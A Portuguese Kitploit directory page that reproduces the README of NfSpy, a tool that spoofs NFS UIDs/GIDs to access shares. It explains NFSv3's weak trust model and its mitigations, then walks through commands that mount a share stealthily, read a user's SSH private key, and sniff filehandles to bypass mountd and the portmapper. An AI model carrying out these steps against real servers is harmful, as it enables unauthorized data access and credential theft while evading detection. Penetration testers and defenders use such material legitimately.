Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/bonsaiviking/nfspy
Privilege EscalationExploitationInformation GatheringNetwork SecurityPenetration TestingAuthenticationRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

ID-spoofing NFS client

Ver Repositório
29856há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

NfSpy - um cliente NFS de falsificação de ID

por Daniel Miller

NfSpy é uma biblioteca Python para automatizar a falsificação de credenciais NFS ao montar uma partilha NFS. Estão incluídos dois programas cliente:

  • nfspy usa a biblioteca Filesystem in Userspace (FUSE) para montar uma partilha NFS no Linux. Isto permite o uso de quaisquer programas regulares de pesquisa e manipulação de ficheiros como grep e find para explorar a exportação NFS.

  • nfspysh é uma shell interativa tipo ftp para explorar exportações NFS. Não requer a biblioteca FUSE, por isso pode ser executada em plataformas não Linux.

Vulnerabilidade explorada

O NFS anterior à versão 4 depende de relações de confiança entre hosts para autenticação. O servidor NFS confia em quaisquer máquinas cliente para autenticar utilizadores e atribuir os mesmos IDs de utilizador (UIDs) que o sistema de ficheiros partilhado utiliza. Isto funciona em domínios NIS, NIS+ e LDAP, por exemplo, mas apenas se souber que a máquina cliente não está comprometida ou a falsificar a sua identidade. Isto porque a única autenticação no protocolo NFS é a passagem do UID e GID (ID de grupo). Existem algumas medidas que podem ser tomadas para melhorar a segurança do NFS, mas muitas delas são soluções incompletas, e mesmo com todas as três listadas aqui, ainda pode ser possível contornar as medidas de segurança.

Squash root

O servidor ou a partilha ("export" na terminologia NFS) pode ser configurado com root_squash, o que significa que qualquer pedido que chegue a afirmar ser UID ou GID 0 (root) será tratado como o utilizador nobody, ou equivalente no sistema. Isto não impede um atacante de falsificar qualquer outra combinação UID/GID, mas protegerá as informações e configurações mais sensíveis na exportação.

nfs_portmon

Outra configuração que pode ser ativada é nfs_portmon, que nega pedidos provenientes de portas de origem fora do intervalo 513-1024. Uma vez que apenas root pode (normalmente) alocar estas portas, isto impede um utilizador comum numa máquina confiável de escrever e usar o seu próprio cliente NFS que falsifica UID/GID. Não faz nada para impedir um host malicioso, um utilizador com permissões su, ou uma máquina comprometida ao nível root de fazer o mesmo.

Restrições de exportação

As partilhas/exportações podem ser controladas para que apenas certas máquinas possam aceder-lhes. Estas Listas de Controlo de Acesso podem consistir em:

  • endereços IP (ex.: 192.168.1.34)
  • prefixos IP (ex.: @192.168.1)
  • nomes de host (ex.: server1.mydom.nis)
  • listas de hosts (ex.: @trusted_hosts)
  • "todos"

A melhor configuração seria usar uma lista de hosts, pois consultar o daemon nfs fornecerá apenas o nome da lista, não quais endereços ou nomes ela contém. Em seguida, estariam endereços IP ou nomes de host, pois estes são mais difíceis de falsificar. Prefixos IP e "todos" são indícios de insegurança, pois há pouca ou nenhuma restrição sobre quais endereços podem conectar.

Usando o NfSpy

Uma lista de opções pode ser vista executando

root@kitploit:~
nfspy --help

Exemplo

Há um servidor NFS em 192.168.1.124.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Monte a partilha. Usar sudo permite vincular a uma porta privilegiada, e a opção allow_other permite que qualquer utilizador use o sistema de ficheiros. A outra nova opção aqui é "hide", que imediatamente "desmonta" a partilha no servidor, mas mantém o descritor de ficheiro (filehandle) que obteve. Isto esconde a sua presença de qualquer pessoa que use showmount -a

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

Desfrute da sua nova liberdade!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

Para desmontar, use fusermount:

root@kitploit:~
$ sudo fusermount -u /mnt

Exemplo avançado

Há um servidor NFS em 192.168.1.124. O Portmap está bloqueado, então não pode obter uma lista de partilhas, mas pode farejar o tráfego de rede.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Agora use as opções de montagem dirhandle e getroot para evitar usar o daemon mount, e use a opção nfsport para evitar usar o portmapper, percorrendo a árvore de diretórios até à raiz da exportação.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Note que não fornecemos um caminho para montar, pois tudo o que sabemos é o filehandle nfs. Para isto funcionar, o identificador deve ser de um diretório, não de um ficheiro, e tem de trabalhar rapidamente ou o identificador ficará obsoleto.

O programa tshark faz parte do projeto Wireshark. O programa comum tcpdump também tem a capacidade de descodificar filehandles NFS com a opção -u:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

Estes filehandles são separados por dois pontos de 4 bytes, por isso terá de os preencher com zeros por conta própria; o NfSpy irá apenas remover os dois pontos, o que está incorreto.

Usando o nfspysh

nfspysh aceita o mesmo conjunto básico de opções no mesmo formato que nfspy, por isso o tutorial acima deve funcionar bem. A lista de comandos pode ser vista com o comando "help".

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

BUGS

  • O acesso de escrita está em beta. Funcionou nos meus testes em alguns sistemas, mas poderia usar mais testes. Por causa disto, o NfSpy assume a montagem ro por defeito. Especifique a opção de montagem rw para alterar isto. (o nfspysh não tem modo apenas leitura. Cuidado!)

  • O NfSpy não funciona com os serviços padrão lockd e statd, o que pode causar problemas na escrita de ficheiros. Para apenas leitura, no entanto, e para a maioria dos usos nefastos para os quais foi concebido, isto não deverá ser um problema.

  • O NfSpy apenas suporta NFSv3 de momento. Versões futuras poderão escolher inteligentemente uma versão NFS.

Baixar ferramenta